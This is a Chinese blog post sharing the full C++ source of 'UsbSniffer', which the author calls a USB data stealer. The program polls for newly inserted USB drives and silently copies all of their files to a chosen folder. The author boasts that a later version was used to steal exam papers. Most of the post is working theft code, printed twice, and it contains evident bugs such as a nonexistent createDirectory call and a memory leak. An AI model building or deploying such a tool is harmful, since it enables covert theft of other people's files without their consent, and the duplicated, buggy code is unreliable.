UsbSniffer---U盘资料窃取器(C++版)
一年多前的用C++写的小东西了(曾经的C++,自从我接触到C#后,就逐渐离我远去了……),该程序曾经在网络技术论坛发过。现在也发到园子里,主要是为了和后期用C#写的另外一个版本的UsbSniffer做下对比。
---------------------------------------------------------------------
功能简介:
本程序以3秒为周期,自动检测本地磁盘改动信息,如果发现有移动硬盘或者U盘等USB存储设备后,会主动窃取其中所有信息,并保存在用户指定路径下。
代码如下:(VC6.0下编写)
---------------------------------------------------------------------
功能简介:
本程序以3秒为周期,自动检测本地磁盘改动信息,如果发现有移动硬盘或者U盘等USB存储设备后,会主动窃取其中所有信息,并保存在用户指定路径下。
代码如下:(VC6.0下编写)
/*USBsniffer v1.0*/
/*USBsniffer*/
/*作者:seek*/
/*日期:2007.2.17*/
/*E-mail:tseek1@gmail.com*/
/*纯手工作品,如需转载请注明出处*/
#include <iostream>
#include <stdlib.h>
#include <io.h>
#include <windows.h>
#include <string>
#include <sys/types.h>
#include <sys/stat.h>
using namespace std;
void copyfiles(string source,char *target);
char *StringToChar(string source);
bool IsDirectory(const char* fname);
void Init();
int main(int argc,char **argv){
if(argc!=2){
Init();
}
else{
while(access(*(argv+1),0)==0){ // if directory already exist,this will auto add '\1' back it;
strcat(*(argv+1),"\\1\\");
}
if(createDirectory(*(argv+1),NULL)){
DWORD frist=GetLogicalDrives();
DWORD second,n=0;
string targetPath="0";
while(1){ // every 3 seconds to estimate if there is a USB device
Sleep(3000);
second=GetLogicalDrives();
if(second-frist>0){
second-=frist;
while(second>>=1) n++;
targetPath[0]=n+65;
targetPath+=":\\*";
copyfiles(targetPath,*(argv+1));
return 0;
}
}
}
}
}
void copyfiles(string source,char *target){
WIN32_FIND_DATA FindFileData;
HANDLE hFind;
char *sourceDir=0;
int len;
sourceDir=StringToChar(source);
len=strlen(sourceDir);
hFind = FindFirstFile(sourceDir, &FindFileData); //find the target dirctory's frist file;
sourceDir[len-1]='\0'; // take out '*';
while(1){
if(hFind == INVALID_HANDLE_VALUE){ //file found error
break;
}
else{
char temp[200];
char tempPath[200],tempSource[200];
strcpy(temp,sourceDir);
strcat(temp,FindFileData.cFileName);
if(IsDirectory(temp)== true){ //estimate whether is a directory
if(strcmp(FindFileData.cFileName,".")&&strcmp(FindFileData.cFileName,"..")){ //take out . & ..dirc
strcpy(tempSource,sourceDir);
strcat(tempSource,FindFileData.cFileName);
strcpy(tempPath,target);
strcat(tempPath,FindFileData.cFileName);
createDirectory(tempPath,NULL);
strcat(tempSource,"\\*");
strcat(tempPath,"\\");
copyfiles(tempSource,tempPath); //Recursion
}
}
else{ //if is a file,copy to target dirc
strcpy(tempSource,sourceDir);
strcpy(tempPath,target);
strcat(tempPath,FindFileData.cFileName);
strcat(tempSource,FindFileData.cFileName);
CopyFile(tempSource,tempPath,false);
}
if(FindNextFile(hFind,&FindFileData)==0) break; //found the next file
}
}
FindClose(hFind); //handle closed;
}
char* StringToChar(string source){ //string convent to char*
char *ch=new char[source.length()];
ch=(char*)source.c_str();
return ch;
}
bool IsDirectory(const char* fname) //Directory estimate
{
return FILE_ATTRIBUTE_DIRECTORY == GetFileAttributes(fname) ? true : false;
}
void Init(){ //init function
cout<<"\nUSBsniffer v1.0 \n"<<endl
<<"e.g: usbsniffer c:\\usb\\"<<endl
<<"\nThen the USB Device'all files will be copy to the directory of c:\\usb\\ without any movement"
<<",and the whole log will be saved to c:\\log.txt"<<endl
<<"\nWitten By SeeK QQ:771014"<<endl
<<"\n2007.2.17"<<endl;
}
一个控制台程序,没有实用价值,完全是为了实现一种思想,不过后期用C#写了个WinForm的,到是用的感觉不错(曾成功窃取了期末考试卷:),今后会陆续发上来,还希望大家多关注本人Blog^_^/*USBsniffer*/
/*作者:seek*/
/*日期:2007.2.17*/
/*E-mail:tseek1@gmail.com*/
/*纯手工作品,如需转载请注明出处*/
#include <iostream>
#include <stdlib.h>
#include <io.h>
#include <windows.h>
#include <string>
#include <sys/types.h>
#include <sys/stat.h>
using namespace std;
void copyfiles(string source,char *target);
char *StringToChar(string source);
bool IsDirectory(const char* fname);
void Init();
int main(int argc,char **argv){
if(argc!=2){
Init();
}
else{
while(access(*(argv+1),0)==0){ // if directory already exist,this will auto add '\1' back it;
strcat(*(argv+1),"\\1\\");
}
if(createDirectory(*(argv+1),NULL)){
DWORD frist=GetLogicalDrives();
DWORD second,n=0;
string targetPath="0";
while(1){ // every 3 seconds to estimate if there is a USB device
Sleep(3000);
second=GetLogicalDrives();
if(second-frist>0){
second-=frist;
while(second>>=1) n++;
targetPath[0]=n+65;
targetPath+=":\\*";
copyfiles(targetPath,*(argv+1));
return 0;
}
}
}
}
}
void copyfiles(string source,char *target){
WIN32_FIND_DATA FindFileData;
HANDLE hFind;
char *sourceDir=0;
int len;
sourceDir=StringToChar(source);
len=strlen(sourceDir);
hFind = FindFirstFile(sourceDir, &FindFileData); //find the target dirctory's frist file;
sourceDir[len-1]='\0'; // take out '*';
while(1){
if(hFind == INVALID_HANDLE_VALUE){ //file found error
break;
}
else{
char temp[200];
char tempPath[200],tempSource[200];
strcpy(temp,sourceDir);
strcat(temp,FindFileData.cFileName);
if(IsDirectory(temp)== true){ //estimate whether is a directory
if(strcmp(FindFileData.cFileName,".")&&strcmp(FindFileData.cFileName,"..")){ //take out . & ..dirc
strcpy(tempSource,sourceDir);
strcat(tempSource,FindFileData.cFileName);
strcpy(tempPath,target);
strcat(tempPath,FindFileData.cFileName);
createDirectory(tempPath,NULL);
strcat(tempSource,"\\*");
strcat(tempPath,"\\");
copyfiles(tempSource,tempPath); //Recursion
}
}
else{ //if is a file,copy to target dirc
strcpy(tempSource,sourceDir);
strcpy(tempPath,target);
strcat(tempPath,FindFileData.cFileName);
strcat(tempSource,FindFileData.cFileName);
CopyFile(tempSource,tempPath,false);
}
if(FindNextFile(hFind,&FindFileData)==0) break; //found the next file
}
}
FindClose(hFind); //handle closed;
}
char* StringToChar(string source){ //string convent to char*
char *ch=new char[source.length()];
ch=(char*)source.c_str();
return ch;
}
bool IsDirectory(const char* fname) //Directory estimate
{
return FILE_ATTRIBUTE_DIRECTORY == GetFileAttributes(fname) ? true : false;
}
void Init(){ //init function
cout<<"\nUSBsniffer v1.0 \n"<<endl
<<"e.g: usbsniffer c:\\usb\\"<<endl
<<"\nThen the USB Device'all files will be copy to the directory of c:\\usb\\ without any movement"
<<",and the whole log will be saved to c:\\log.txt"<<endl
<<"\nWitten By SeeK QQ:771014"<<endl
<<"\n2007.2.17"<<endl;
}
SIGNATRUE-----------------------------------
龟看上去很慢很慢,而且还有些憨,虽然没有兔子跑的快,但是只要有坚持不懈的毅力,就一定会到达成功的比彼岸.如果自己是龟,就不要试图把自己变成兔子,我就是那只憨龟。
龟看上去很慢很慢,而且还有些憨,虽然没有兔子跑的快,但是只要有坚持不懈的毅力,就一定会到达成功的比彼岸.如果自己是龟,就不要试图把自己变成兔子,我就是那只憨龟。